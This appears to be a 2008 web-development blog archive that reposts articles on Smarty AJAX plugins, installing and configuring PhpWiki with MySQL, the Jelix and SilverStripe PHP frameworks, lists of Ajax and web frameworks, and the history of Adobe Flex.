<a  href="#" onclick="{ajax_call function='calculate'  params_func='calc_params' callback='calc_cb'}">Calculate</a>

Possible parameters:

url - URL for AJAX-query (when no URL was specified current one will be used)
method - query method (by default get, can be get or post)
function - function which will be called
params - URL-encoded parameters
callback - JavaScript function which will be called when query will be completed
params_func - JavaScript function used when you need custom parameters calculated on client side

ajax_form

This Smarty block can be used for submit Web-forms without post-back.

Sample usage:

 {ajax_form method="post" id="form_register"}
  Any form-element can be placed here
  {/ajax_form}

Possible parameters:

url - URL for AJAX-query (when no URL was specified current one will be used)
method - query method (by default get, can be get or post)
params - URL-encoded parameters
id - form ID
callback - JavaScript function which will be called when query will be completed

Simplest way is to process form on the server and parse result on client, where return data can be in following format:

true;User was registered successfully;http://example.com/login/ false;Please enter your name;Entered passwords doesn't match

Result string can be splitted on client and results can be shown in some part of page.

Process function may looks like following (it’s part of smarty_ajax):

 var SmartyAjax = {
    onSubmit: function(originalRequest) {
      var results = originalRequest.responseText.split(";");
  
      if (results[0] == "true") {
        SmartyAjax.Messages.set(results[1],
          SmartyAjax.Messages.MT_WARNING)
      } else {
        SmartyAjax.Messages.clear();
        SmartyAjax.Messages.setType(SmartyAjax.Messages.MT_ERROR);
        for (var i = 1; i <  results.length; i++) {
          SmartyAjax.Messages.add(results[i]);
        }
      }
    }
  }

This function uses several functions from SmartyAjax.Messages object which depends on following HTML elements:

 <div id="messages">
    <p id="messages-title"></p>
    <ul id="messages-list"></ul>
  </div>

To manage messages I’ve created Smarty template parts/warnings.tpl. You can use it in your PHP file in simple way:

 // is messages  contains warning (or error)  $t->assign('messages_warning', true);  // array of messages  $t->assign('messages', array('Please provide your account information'));

Another thing we need to examine is message which informs user about processing AJAX request. There is SmartyAjax.Process object in the sample which has two methods: hide() and show() which can be used to hide and display message. They are depends on HTML-element with id=”ajax-process”. It’s necessary to add “position: absolute” style because of this messages will be shown in top-right corner of screen independing on scroll position.

 ajax_form is simple to use:

 {ajax_form method="post" id="form_register"}

 Any form-element can be placed here

 {/ajax_form}

Possible parameters:

url - URL for AJAX-query (when no URL was specified current one will be used)
method - query method (by default get, can be get or post)
params - URL-encoded parameters
id - form ID
callback - JavaScript function which will be called when query will be completed

This article originally appeared on : kpumuk.info

phpwiki - The Wiki for PHP Developers

2008-05-27T19:14:00.001+05:30

This month it's time to look at another of those PHP applications I find useful on a daily basis. I like to use "wikis" for documentation for many of the projects I work on. Most of you are probably familiar with the term wiki, coming from the Hawaiian word for quick (wikiwiki). There are quite a few PHP-based wiki tools out there, including mediawiki (which Wikipedia uses), PmWiki and DokuWiki. In this article we will look at PhpWiki, and we'll show you how to configure and use it with your own projects!

Ward Cunningham wrote the first wiki application in 1995 (although similar software had appeared before, he was the first to apply the term "wiki" to it). Since then, wikis have exploded in popularity, as they provide a convenient way for people to collaborate, with edits being easy, and, equally important, all changes that are made are documented and tracked. The most well-known wiki is of course Wikipedia, the wiki encyclopedia. You can see a more complete list of PHP-based wikis on the Wikipedia site.

Which brings us to PhpWiki! PhpWiki's documentation is not particularly good, which should be a warning that installing a wiki is no panacea for a poorly-documented project. At the time of writing, the latest stable version is 1.3.12p1, but the home page mentions that the latest version as 1.3.11p1, and claims to have last been updated in September 2005. Setup is also a bit more finicky than some of the other applications I looked at in earlier articles. Nevertheless, I find the tool useful, and we will look at setting it up and getting it running in this month's article.

Requirements

A web server with PHP version 4.0.6 or greater, though of course you should not be running this old a version for security reasons. There are problems with versions from 4.3.9 and earlier which manifest if you have large installations of around 500 pages or more.
Perl regular expressions compiled into PHP (it is by default)
Database support. PhpWiki supports MySQL, PostgreSQL, Microsoft SQL Server, Oracle 8, Firebird (with PHP 5's PDO) and later version of Oracle (with PDO).
The PEAR DB libraries (installed by default), although PhpWiki comes with these bundled if you don't already have them, and it can also use ADODB.

Installing and configuring PhpWiki

Download the tar file, and place it in your webtree. For the purposes of this tutorial, my wiki will sit in the root directory of the greenman.co.za server. Extract the file:

tar -zxvf phpwiki-1.3.12p1.tar.gz

I suggest renaming  the directory from phpwiki-1.3.12 to simply phpwiki, or even just wiki.

mv phpwiki-1.3.12p1 wiki

You can now access  your wiki from a browser: http://greenman.co.za/wiki. Before you can do any editing,  you'll first have to configure everything.

When you first access the wiki and you haven't configured it yet, the configurator will appear (screenshot 1). This is claimed to be experimental, and has a number of minor usability issues, but it's useful for getting started quickly. The configurator page can look intimidating, as there are many, many options. Don't be put off though, as you can leave most of them with their default values. There are only a few that must be populated in order to get started. Here's what you need to change as a minimum to get your wiki working.

admin user
admin password
Database Type (SQL PEAR should work on any installation)
SQL Type (MySQL)
SQL User (I chose phpbuilder_wiki)
SQL Password (I chose phpbuilder_wiki_password)

In order for the configurator to work, it needs to be able to write to the config directory, as it attempts to create a file called config.ini. If, as is likely by default, it can't create this file, it will output the contents (screenshot 2), and you'll need to copy and paste and create the file yourself. The file must be placed in the config directory. You could also assign write permission to the directory beforehand. Perhaps the easiest alternative of all, seeing as the installation process is finicky enough to demand you work in the command line anyway, is to simply make a copy of the default config file:

cp config-dist.ini config.ini

and edit the  options above. One minor change is that you have to collate the database  authorization data into the variable DATABASE_DSN. With the options I  chose, the variable will look as follows:

DATABASE_DSN = "mysql://phpbuilder_wiki:phpbuilder_wiki_password@localhost/phpbuilder_wiki

Whichever way you  choose to configure PhpWiki, I suggest that any later changes you make get made  in the config.ini file directly. You can access the configurator again, using  your admin username and password, but you'll need to remember to re-enter passwords,  and watch out for encryption issues, making it an annoyance to use. Rather than  do that, I just go straight to the file - if you can use a text editor you'll  find it just as easy.

In this tutorial, I'll assume you're using MySQL. Specific instructions for other databases are found in the doc directory (an INSTALL file with an extension of the name of the database, e.g. INSTALL.pgsql). You'll need to already have an account with permission (such as root) to create new databases and tables, and populate them, or get your hosting company to do this for you if not.

First, create the new database. The database name must match the name you selected earlier with the configurator (I chose phpbuilder_wiki):

mysqladmin -uroot_user -proot_password create phpbuilder_wiki

Next, create a new  user with the correct permissions (I chose a user with the same name as the  database, phpbuilder_wiki,  and a password of phpbuilder_wiki_password):

mysql -uroot_user -proot_password phpbuilder_wiki

GRANT select, insert, update, delete, lock tables

 ON phpbuilder_wiki.*

 TO phpbuilder_wiki@localhost

 IDENTIFIED BY 'phpbuilder_wiki_password';

Next, create the  tables. The statements for doing this are found in the mysql-initialize.sql file in the schemas directory. Assuming that you're in the wiki directory, run the following  command, this time using the username and password created for your wiki:

mysql -uphpbuilder_wiki -pphpbuilder_wiki_password phpbuilder_wiki < schemas/mysql-initialize.sql

After all this,  you're ready to access your wiki from a browser (simply go to the wiki  directory - in my case www.greenman.co.za/wiki). The first time you access it will  display a long list of files (screenshot  3) that are the wiki's default contents. From now on, anytime you  access the wiki you'll be redirected to the home page - http://greenman.co.za/wiki/index.php/HomePage (screenshot  4).

Using phpwiki

Wikis wouldn't be popular if they weren't simple to use. Even the least technically proficient user can get started very quickly. To make a change to a page, simply press Edit, make the changes you want, then press Save. See screenshot 15 for what comes when editing the default home page. Notice that there's only plain text in the textarea, nothing fancy. If you're new to wikis, that what makes them so powerful. Anyone can edit them with almost no technical knowledge. Most wikis have a section called the SandBox, which is designed to allow people to test their editing and get to know the system. It doesn't matter if someone messes it up as it contains no critical data, and after all, it is designed for testing. In our newly-installed wiki, the whole site is basically a sandbox, so we'll stick to editing the home page for now. Add some text at the top of the page (screenshot 16) and view your changes on the home page again (screenshot 17). What could be easier?!

Of course, to make the best use of your editing potential, it helps to learn a few tricks to enable you to format the page nicely and to create links. PhpWiki makes it really simple to add basic formatting, such as bold and italics. Simply highlight the word, and click the bold or italic symbol, just like any ordinary word processor. You'll see that the highlighted text gets surrounded by some characters, and an asterisk before and after the text makes it bold (don't get confused with a single asterisk at the start of the line, which creates a bulleted list), and an underscore for italics (screenshot 18, and screenshot 19 after saving).

this *text is bold*

*bulleted item 1

*bulleted item 2

this _text is italicised_

You'll soon find  it easier to enter these special text characters as you type rather than  worrying about highlighting with the mouse, and you can then call yourself a  true wiki user. Have a look at the bottom of the edit page for more text that  doesn't appear in the shortcuts above (such as exclamation marks for a heading,  or a hash for a numbered list).

Adding a link can be done in the same way (the special character is a square bracket), but there's an even easier way. You may have noticed that words such as WikiWikiWeb and SandBox are links, though they don't have any special characters around them. The secret here is in the capitalization. If a word starts with a capital letter, and has one or more capital letters later in the word, it's automatically a link. The idea here is to combine two or more words into one page title. Try adding some text, such as TestPageOne and view the results after you've saved (screenshot 20). You'll see that the word is underlined, with a question mark after it. This means it's a link, but the page has not yet been created. Simply click on the question mark, and you're immediately editing the new page. Create the new page, but try not to make the newbie mistake of leaving the default text (Describe [TestPageOne] here.) at the top of the page.

There's more to editing. It doesn't have to be a hit and miss experience. I always preview a page before finally saving it (the page jumps back to the editing part, but the previewed page will be above that). You can also sign in in the bottom right (no authentication is necessary by default) - you may have noticed that I've been signed in if you've been viewing the screenshots. One of the advantages of this is that PhpWiki keeps a record of changes made, and it usually helps if others can see who made the change. If someone makes a change without signing in, their IP is recorded instead, so it's still theoretically possible to track them.

To view all changes made to the system, go back to the home page (by clicking on the logo), and then click RecentChanges (screenshot 21). Assuming you've been doing the same changes I have, you'll notice only one change listed, even though you've actually edited the page three times. The reason for this is that PhpWiki also takes note of the difference between a major change and a minor change. The mechanism for this is the little checkbox you may have noticed beneath the editing textarea that reads This is a minor change. It's unchecked by default when a page is created, and when a page is edited for the first time that day. If you click on the RecentEdits link (at the top of the RecentChanges page, you'll see that all three edits have been recorded. (screenshot 22)

When your wiki gets larger, you may start to find that you're not only interested in links that leave the page you're on (such as TestPageOne leading off HomePage), but also the other way around. When you're on TestPageOne, you may want to know which page(s) link to it. The answer here is provided by the BackLinks button. On any page, click BackLinks, and you'll get a list of all pages that link to that particular page. Try this on your newly created TestPageOne (screenshot 23).

Another commonly used page reveals the edit history of a page. On Wikipedia for example, the history is often as revealing as what's on the front page, especially for controversial topics in the midst of an edit war. You can see a page's history by clicking the PageHistory button (screenshot 24). There are more powerful features related to the history. As a collaboration tool, tracking changes is very important. You can see the difference between any two versions by checking the checkoxes next to those versions. Take a look at the differences between the initial and current versions of the HomePage for example (screenshot 25). You'll also see that you can easily revert to an earlier version (making post-vandalism repairs very easy).

Changing the look

Like so many Open Source applications, it's not only the coders who've contributed, but also the designers. PhpWiki comes with a number of skins. Here's a list of those bundled with PhpWiki:

Default (screenshot 5)
MacOSX (screenshot 6)
smaller (screenshot 7)
Wordpress (screenshot 8)
Portland (screenshot 9)
Sidebar (screenshot 10)
Crao (screenshot 11)
wikilens (screenshot 12). This is the same as the default, but allows voting on pages.
Hawaiian (screenshot 13)
SpaceWiki (screenshot 14)

To change the theme associated with the wiki, open up config.ini, and scroll down to Part Four, which lists all the available themes:

;=========================================================================

; Part Four:

; Page appearance and layout

;=========================================================================

; THEME

; Most of the page appearance is controlled by files in the theme

; subdirectory.

; There are a number of pre-defined themes shipped with PhpWiki.

; You may also create your own (e.g. by copying and then modifying one of

; stock themes.)

;   THEME = default

;   THEME = MacOSX

;   THEME = smaller

;   THEME = Wordpress

;   THEME = Portland

;   THEME = Sidebar

;   THEME = Crao

;   THEME = wikilens (Ratings)

;   THEME = Hawaiian

;   THEME = SpaceWiki

;   THEME = Hawaiian

; Problems:

;   THEME = MonoBook (WikiPedia) [experimental. MSIE problems]

;   THEME = blog     (Kubrick)   [experimental. Several links missing]

THEME = default

Simply change the  uncommented line (lines beginning with a semicolon are commented out) THEME = default to reflect the theme you want, for example THEME = Crao. Note that if you're  experimenting with different themes, you may be thrown by the default caching  behaviour, thinking that the themes are not working. PhpWiki by default uses LOOSE caching, which means that the page is cached until the next time it is edited  (so a theme change is only reflected after a new edit). You can change this  setting to NO_CACHE in Part One of config.ini if it's causing problems.

More configuration

Depending on the nature of your wiki, you may not want just anybody editing, or even viewing, your pages. You have quite a lot of flexibility with regards to this. Take a deeper look in the config.ini file. Part Three is what's relevant here. By default, most options are set to their least strict possibility. ALLOW_ANON_USER is set to true, so users don't have to log in to view the pages. Similarly, ALLOW_ANON_EDIT is also true, so anonymous users can make edits. Even if they do log in, ALLOW_BOGO_LOGIN is set to true, which means that no actual password authentication is performed. There are all sorts of more rigorous alternatives, from Apache authentication, IMAP authentication, LDAP authentication or external database authentication. Have a look at the documentation in the config file for more details.
There are many more options. PhpWiki is certainly flexible. You can create user groups, fine-tune the caching mechanism, implement spamassasin and captcha, persistent sessions and much, much more! Take the time to read through the configuration file carefully. You may find something that makes your life a lot easier.

Conclusion

Although PhpWiki can be finicky to install and configure when compared with other PHP applications, it's a faithful clone of the original WikiWikiWeb, and is more flexible than some of the alternatives. It's a powerful collaboration tool--enjoy using it!

Links

This article originally appeared on PHPBuilder.com.

Jelix - PHP5 Framework

2008-05-26T17:33:00.001+05:30

General informations

Jelix is a framework for PHP5, whose objective is to ease the development of applications or Web sites of any kind.

Here is what is proposed to developers:

API dealing with numbers of technical aspects: data access, MVC model, templates, output format generators (HTML, XUL,…), Web services (xml-RPC, json-RPC), forms generator, CRUD, authentication, rights management, localization, etc…
a modular structure and an organization of the files of the project, imposing a framework and some developing standards.
a “layer” organization of the project: presentation, coordination, service, business, persistence.

These characteristics allow a better re-use of the code, a capitalization of know-how, a better organization in the development, leading to a better productivity.

Jelix uses to the maximum of specificities of PHP5, in order to be the lightest and most powerful possible. This is why a project based on Jelix is 100% object oriented.

Features

Original functions and characteristics

Modular architecture : an application can be cut out in several reusable modules.
Minimal guarantee on the data exchange : Jelix controls the generation of output formats according to the type of request. For example, if we have a request for a XML-RPC web service, we cannot generate HTML, the answer will be obligatorily in XML-RPC. Si it offers a certain robustness of the application in client/server communication. (Unless the developer does not use objects from Jelix, because indeed nothing prevents from making an echo of anything anywhere).
Generation of technical errors in specified format : thanks to the Jelix system described before, all the technical errors are returned in the format awaited by the client. For example: no HTML formatted error when client is awaiting XML-RPC or RDF response.
Light and evolutionary template engine (jTpl), with a syntax halfway between Smarty and PHP. A plugin system like in Smarty is also available.
jDao, object-relational mapping, based on the DAO design pattern (Data Access Object). Declared in XML files, automatic generation of its SQL requests , handling of security problems (SQL injection etc…).
Designation of files and resources by selectors, and not by physical ways, then bringing a certain independence to a module towards the installation.
Event system allowing module-to-module communication.
Overload file : it is possible to redefine some files of a module without changing the originals (DAO, templates, properties). Useful when a module is used by several applications at the same time, or to facilitate the update of a third module.

Modern functions and characteristics

Functions that we don’t find so often in frameworks:

Web Services : Jelix deals with analysis of the content of requests, and the generation of the response. XML-RPC and JSON-RPC are handled. Other types of services Web are completely possible (SOAP,…).
Handling of RESTfull : by simple implementation of an interface: one can easily define what is done after HTTP GET/POST/PUT/DELETE requests.
Themes system: it is possible to define several templates, each one redefining the template of modules.
Automatic system for URL generation and mapping : no complete URL in Jelix. The framework has the responsibility to generate urls in the templates or elsewhere, according to the configuration of URL mapping defined on actions (mod_rewrite & co).
PHP scripts for code generation to execute in command liner, allowing fast creation of various files of a project (module, DAO, template, controller, etc)
Technical cache system : almost all non PHP files of a Jelix project “are compiled” in PHP in order to improve the performances (templates, DAO, events etc.).
UTF-8 compliant: it's the default encoding of the framework
Module dedicated to unit tests: unit tests are essentials to create a reliable application. So Jelix provide a module which has an interface to launch unit tests and a simple way to create unit tests (using simpleTest)

Traditional functions and characteristics

Functions which one finds in many frameworks:

The architecture of the core is MVC type (Model-View-Controller). A coordinator handles the execution of an action according to the parameters in the URL. The possible actions are implemented in classes of jController type (controllers).
Jelix provide several output generators (jResponse objects): XHTML, CSS, ATOM, RSS, XML, RDF, XUL, XUL overlay, ZIP, PDF (from Latex source files or with TCPDF). Others formats are also possible.
Database access abstraction layer: jDb relies on PDO or its own classes (when PDO is not available) to access to the databases.
Localization: you can have your application translated in several languages. Storage of localized string is done in properties files.
System of authentication and rights management.
Use of XML: declaration of the events, DAOs etc, … That makes it possible to facilitate writing, generation and modifying these parts of a project by third-party tools (for example with JelixEclipse, an eclipse plugin), and thus to increase productivity.

How does Jelix work

an HTTP request calls Jelix. Jelix creates an instance of a jRequest object which contains datas of the request. It then create an instance of your controller which corresponds to the asked action.
A method in the controller is executed. It retrieves request parameters in order to know which process to run.
Then the method execute business processes and retrieves eventually some results which will be used for the response
The method of the controller create an instance of a jResponse object which is setup with datas or else (initialization of templates etc..).
Jelix gets this jResponse object, launch the generation of the final document (html page, pdf..) and then sends it to the browser.

SilverStripe

2008-05-20T17:56:00.003+05:30

SilverStripe is a free and open source programming framework and content management system (CMS) for creating and maintaining websites. The CMS provides an intuitive web-based administration panel, allowing any person to maintain their website without knowledge of markup or programming languages.

SilverStripe offers a flexible MVC development framework known as Sapphire. Much like Ruby on Rails, but for PHP, it ensures developers are capable of extending and enhancing the functionality of the CMS and the website. More importantly, SilverStripe provides developers with complete control of the generated markup; allowing for higher, semantic standards of XHTML.

SilverStripe is released under the terms of the BSD Licence. An abundance of documentation is available from the SilverStripe help website and wiki. An online demonstration of the CMS is located at the SilverStripe demo website.

History

Prior to SilverStripe 2.x, the CMS was commercially available under a proprietary license. Development efforts for SilverStripe 2.X started in late 2005, as a complete overhaul to take advantage of object orientation and new features in PHP5. On 3 February 2007, SilverStripe 2.0.0 was released publicly as free and open source software.

Motivations and reasoning for moving towards an open source development model were the anticipated results of greater exposure, higher quality code and community contributions.
In March 2007, SilverStripe was selected for the Google Summer of Code programme. The contributions of the students who participated in the programme ultimately resulted in the 2.2 release of SilverStripe.

On 29 November 2007, SilverStripe announced they would be participating in the Google Highly Open Participation (GHOP) contest. This let to a proliferation of themes, translations and widgets that broadened the system.

Features and Add-ons

Notable features include multiple methods of organising navigation through folksonomy, a flexible data object model, multiple templates per page, a separate "Draft site" and "Published site" through staging content, asset management, image resizing, versioning control, search engine friendly URLS with meta-data, automatic sitemap generation, full text search and RSS feeds. SilverStripe supports UTF-8 and the internationalisation of character sets; the CMS is currently available in French, German, Spanish, Chinese, Croatian, Dutch, Polish and Portuguese.

Modules

The highly modular nature of SilverStripe has resulted in the creation of numerous pre-build modules that extend the core functionality of the CMS. A list of available modules is viewable below:

Blog
E-commerce
Embargo/expiry
External Authentication (LDAP, AD, etc)
Flickr Gallery
Forum
Gallery
Maps
Technorati
Youtube Gallery

Widgets

Widgets are small pieces of useful functionality that can be instantly dragged and dropped into a website. A list of available modules is viewable below:

Built-in widgets for the blog module
Countdown
Del.icio.us
Digg
Featured Video
Feedburner
Feedburner Email Subscription
Google Adsense
Google Custom Search
IMStatus
LanguageChooser
last.fm
Links
NASA image of the day
New Users
Ohloh contribution
PayPal donation
Popular Blog Posts
Recent Page Comments
Time
TwitterStatus
WoW Character

Themes

The SilverStripe themes directory provides a number of community-contributed, freely available themes; providing developers and website owners with the capability to instantly modify the aesthetics of their SilverStripe website.

Software Requirements

SilverStripe is a web application, requiring a compatible HTTP server and SQL database. As of version 2.2.0 (28 November 2007), the requirements for SilverStripe are as follows:

Apache v1.3.19+ or Lighttpd with mod_rewrite support
MySQL v4.1.X+
PHP 5.2+ with MySQL, GD2 and Zlib support

List of web application frameworks

2008-05-20T16:46:00.003+05:30

This is a list of notable web application frameworks, used for creating web applications.

Client-side

ActionScript

Cairngorm

JavaScript

Further information: JavaScript library

Server-side

PHP

JavaScript (server-side)

AppJet
Axiom stack
Helma Object Publisher
Morfik, server side and client side.

Ruby

Perl

ColdFusion

ASP

CLASP

ASP.NET

Java

Python

Other languages/Multiple languages

Alpha Five
BarracudaDrive Application Server with integrated Lua_(programming_language)
Fusebox (ColdFusion and PHP)
Kepler (Lua)
HAppS (Haskell)
Morfik, use Pascal, Basic, Java or C# to develop full Ajax apps.
OpenACS (Tcl)
Seaside (Smalltalk)
UnCommon Web (Common Lisp)
Yaws (Erlang)

Ajax framework

2008-05-20T16:39:00.002+05:30

An Ajax framework is a framework that helps to develop web applications that use Ajax, a collection of technologies used to build dynamic web pages on the client side. Data is read from the server or sent to the server by JavaScript requests. However, some processing at the server side may be required to handle requests, such as finding and storing the data. This is accomplished more easily with the use of a framework dedicated to process Ajax requests. The goal of the framework is to provide the Ajax engine described below and associated server and client-side functions.

Benefit of a framework

In the article that coined the "Ajax" term, J.J. Garrett describes the technology as "an intermediary...between the user and the server." This Ajax engine is intended to suppress the delays perceived by the user when a page attempts to access the server. A framework eases the work of the Ajax programmer at two levels: on the client side, it offers JavaScript functions to send requests to the server. On the server side, it processes the requests, searches for the data, and transmits them to the browser. Some frameworks are very elaborate and provide a complete library to build web applications.

Types of frameworks

Ajax frameworks can be loosely grouped into categories according to the features they offer and the skills required of the user:

Direct Ajax frameworks

These frameworks require HTML, CSS and Ajax expertise: a developer is expected to author pages directly in HTML, and framework APIs deal directly with HTML elements.

Cross-browser APIs are provided for a variety of purposes, commonly including communications, DOM manipulation, event handling, and sizing/moving/animating HTML elements.

These frameworks are generally smaller. They are commonly used for a web site such as a shopping experience, but not for a web application such as web-based email, at least not without further frameworks layered on top.

Ajax component frameworks

These frameworks offer pre-built components, such as tabbed panes, which automatically create and manage their own HTML. Components are generally created via JavaScript or XML tags, or by adding special attributes to normal HTML elements. These frameworks are generally larger, and intended for web applications rather than web sites.

Some component frameworks require the developer to have extensive HTML/CSS/Ajax experience and to do cross-browser testing. For example, grids, tabs, and buttons may be provided, but user input forms are expected to be authored directly in HTML/CSS and manipulated via Ajax techniques. Other frameworks provide a complete component suite such that only general XML and/or JavaScript abilities are required.

Ajax component frameworks can enable more rapid development than direct Ajax frameworks, but with less control, hence it is key that an Ajax component framework provides the following:

customization APIs, e.g., an event that fires when the user stops editing within a grid
skinning facilities, where appearance can be changed without affecting behavior or layout
programmatic control, e.g., dynamically adding tabs or dynamically creating components based on user data
extensibility—creation of new components based on other components, so that the benefits of a component-based framework are not lost

Server-driven Ajax frameworks

Several frameworks offer a server-side component-based development model with some degree of Ajax support.

Components are created and manipulated on the server using a server-side programming language. Pages are then rendered by a combination of server-side and client-side HTML generation and manipulation. User actions are communicated to the server via Ajax techniques, server-side code manipulates a server-side component model, and changes to the server component model are reflected on the client automatically.

These frameworks offer familiarity for server-side developers at the expense of some degree of power and performance. Ajax frameworks that handle presentation completely within the browser offer greater responsiveness because they handle many more user interactions without server involvement. In a server-driven model, some UI interactions can become chatty, for example an input field that is dynamically enabled or disabled based on server-side code may cause many network requests. Furthermore, server-dependent Ajax frameworks will never be able to offer offline support. Still, this approach is popular, especially in situations where the benefits of a full Ajax architecture can't be captured anyway.

Extending such a framework may require the developer to understand which parts of the presentation are handled on the client vs on the server, and to write a mixture of Ajax and server-side code.

Frameworks and languages/platforms

JavaScript

JavaScript utilities run browser-side and are very commonly used in Ajax development. There are many JavaScript utilities available. Prototype is a JavaScript extension that provides utilities to complement the short comings of JavaScript. Script.aculo.us is used with the Prototype Framework, mainly utilities for animations. Yahoo! UI Library is a set of utilities and controls, for building richly interactive web applications using techniques such as DOM scripting, DHTML and Ajax. In addition to JavaScript utilities there are more complete Ajax Frameworks that provide utilities, pre-build widgets, debugging tools and visual Ajax development tools and client-server sync capabilities. Dojo Toolkit is a Javascript library and widgets architected to provide semantic extensions to HTML.

PHP

A PHP framework is able to deal with database, search data, and build pages or parts of page and publish the page or return data to the XMLHttpRequest object. PHP 5 specifically, thanks to its SimpleXML class, is able to create XML files that may be returned to the object. However, it is better to use a predefined library that performs the various tasks, for example Sajax, a PHP framework with a lot of functions, easy to integrate functions yourself or Xajax that uses only the XML format, on the server side.

Java

Such frameworks use Java for server-side AJAX operations. The Google Web Toolkit, a widget library with Java to JavaScript compiler is widely used by webmasters.

.NET

The Ajax.NET Professional and ASP.NET AJAX (previously Microsoft Atlas) frameworks are available for the Windows .NET platform.

C++

C++ Toolkits are interfaces to Ajax technology. For example Wt (witty) is a WebToolkit allowing programmers to write code in C++ (without real knowledge of Ajax), generating content rich Ajax GUI. OpenSource Licence.

List of Ajax frameworks

2008-05-20T16:38:00.000+05:30

From Wikipedia, the free encyclopedia

This is a list of notable Ajax frameworks, used for creating web applications with a dynamic link between the client (and sometimes the server).

JavaScript

JavaScript Frameworks are browser-side frameworks very commonly used in Ajax development. There are hundreds of JavaScript frameworks available — according to the last surveys, the most used JavaScript frameworks are:

Framework
Backbase, an Enterprise Ajax Framework for creating Rich Internet Applictions
Dojo Toolkit, an Open Source DHTML toolkit written in JavaScript
Ext (javascript library), a library that extends Prototype, Jquery and YUI
jQuery, a JavaScript framework that provides an Ajax framework and other utilities
Mootools, a compact and modular JavaScript framework best known for its visual effects and transitions
Prototype, a JavaScript framework that provides Ajax and other utilities
Script.aculo.us, Used with the Prototype Framework, mainly for animations and interface development
Yahoo! UI Library, a set of utilities and controls, for building richly interactive web applications using techniques such as DOM scripting, DHTML and Ajax

Other frameworks not among the most used includes:

Clean AJAX, framework also able to deal with web services

C++

C++ Toolkits are interfaces to Ajax technology

Wt (witty) is a WebToolkit, allowing programmers to write code in C++ (without real knowledge of Ajax), generating content rich Ajax GUI. OpenSource Licence.

Java

These frameworks use Java for server-side AJAX operations:

Backbase, Enterprise Ajax for JSF (Java Server Faces)
Echo, a Java framework for Ajax servlets
Google Web Toolkit, a widget library with Java to JavaScript compiler
DWR, Direct Web Remoting, DWR allows Javascript in a browser to interact with Java on a server and helps you manipulate web pages with the results.
jMaki, an AJAX framework that can be plugged into netbeans or eclipse IDE

.NET

The following frameworks are available for the Windows .NET platform:

Ajax.NET Professional
ASP.NET AJAX (previously Microsoft Atlas)

ColdFusion

The following frameworks are available for ColdFusion:

AjaxCFC

PHP

Sajax Is a PHP framework with a lot of functions, easy to integrate functions yourself.
Tigermouse is a modern Ajax driven MVC framework for web applications development.
Xajax uses only the XML format, on the server side.

Adobe Flex

2008-05-09T15:01:00.001+05:30

From Wikipedia, the free encyclopedia

Adobe Flex is a collection of technologies released by Adobe Systems for the development and deployment of cross platform, rich Internet applications based on the proprietary Adobe Flash platform. The initial release in March 2004 by Macromedia included a software development kit, an IDE, and a J2EE integration application known as Flex Data Services. Since Adobe acquired Macromedia in 2005, subsequent releases of Flex no longer require a license for Flex Data Services, which has become a separate product rebranded as LiveCycle Data Services.

In February 2008, Adobe released the Flex 3 SDK under the open source Mozilla Public License. Adobe Flash Player, the runtime on which Flex applications are viewed, and Flex Builder, the IDE used to build Flex applications, remain proprietary.

Overview

Traditional application programmers found it challenging to adapt to the animation metaphor upon which the Flash Platform was originally designed. Flex seeks to minimize this problem by providing a workflow and programming model that is familiar to these developers. MXML, an XML-based markup language, offers a way to build and lay out graphic user interfaces. Interactivity is achieved through the use of ActionScript, the core language of Flash Player that is based on the ECMAScript standard.

The Flex SDK comes with a set of user interface components including buttons, list boxes, trees, data grids, several text controls, and various layout containers. Charts and graphs are available as an add-on. Other features like web services, drag and drop, modal dialogs, animation effects, application states, form validation, and other interactions round out the application framework.

In a multi-tiered model, Flex applications serve as the presentation tier. Unlike page-based HTML applications, Flex applications provide a stateful client where significant changes to the view don't require loading a new page. Similarly, Flex and Flash Player provide many useful ways to send and load data to and from server-side components without requiring the client to reload the view. Though this functionality offered advantages over HTML and JavaScript development in the past, the increased support for XMLHttpRequest in major browsers has made asynchronous data loading a common practice in HTML-based development too.

Technologies that are commonly compared to Flex include OpenLaszlo, Ajax, XUL, JavaFX and Windows Presentation Foundation technologies such as Silverlight.

Macromedia Flex Server 1.0 and 1.5

Macromedia targeted the enterprise application development market with its initial releases of Flex 1.0 and 1.5. The company offered the technology at a price around US$15000 per CPU. Required for deployment, the J2EE application server compiled MXML and ActionScript on-the-fly into Flash applications (binary SWF files). Each server license included 5 licenses for the Flex Builder IDE.

Adobe Flex 2

Adobe significantly changed the licensing model for the Flex product line with the release of Flex 2. The core Flex 2 SDK, consisting of the command-line compilers and the complete class library of user interface components and utilities, was made available as a free download. Complete Flex applications can be built and deployed with only the Flex 2 SDK, which contains no limitations or restrictions compared to the same SDK included with the Flex Builder IDE.

Adobe based the new version of Flex Builder on the open source Eclipse platform. The company released two versions of Flex Builder 2, Standard and Professional. The Professional version includes the Flex Charting Components library.

Enterprise-oriented services remain available through Flex Data Services 2. This server component provides data synchronization, data push, publish-subscribe and automated testing. Unlike Flex 1.0 and 1.5, Flex Data Services is not required for the deployment of Flex applications.

Coinciding with the release of Flex 2, Adobe introduced a new version of the ActionScript programming language, known as Actionscript 3, reflecting the latest ECMAScript specification. The use of ActionScript 3 and Flex 2 requires version 9 or later of the Flash Player runtime. Flash Player 9 incorporated a new and more robust virtual machine for running the new ActionScript 3.

Flex was the first Macromedia product to be re-branded under the Adobe name.

Adobe Flex 3

On April 26, 2007 Adobe announced their intent to release the Flex 3 SDK (which excludes the Flex Builder IDE and the LiveCycle Data Services) under the terms of the Mozilla Public License.[1] Adobe released the first beta of Flex 3, codenamed Moxie, in June 2007. Major enhancements include integration with the new versions of Adobe's Creative Suite products, support for AIR (Adobe's new desktop application runtime), and the addition of profiling and refactoring tools to the Flex Builder IDE.

In October 2007, Adobe released the second beta of Flex 3.
On December 12, 2007, Adobe released the third beta of Flex 3.
On February 25, 2008, Adobe released Flex 3 and Adobe AIR 1.0.

Adobe Flex 4

Adobe has announced that Flex 4.0 (code named Gumbo) will be released in 2009. Even though this announcement has been made, the product plan has yet to be completed.

Some themes that have been mentioned by Adobe that will be incorporated into Flex 4 are as follows:

Design in Mind: The framework will be designed for continuous collaboration between designers and developers.
Accelerated Development: Be able to take application development from conceptual to reality quickly.
Horizontal Platform Improvements: Compiler performance, language enhancements, BiDi components, enhanced text. (Speculation derived from Adobe Systems)
Broadening Horizons: Finding ways to make a framework lighter, supporting more deployment runtimes, runtime MXML. (Speculation derived from Adobe Systems)

Flex 4 milestones: (Speculation derived form Adobe Systems)

Scope determined, April 2008
Beta 1, late 2008
4.0 final, 2009

LiveCycle Data Services

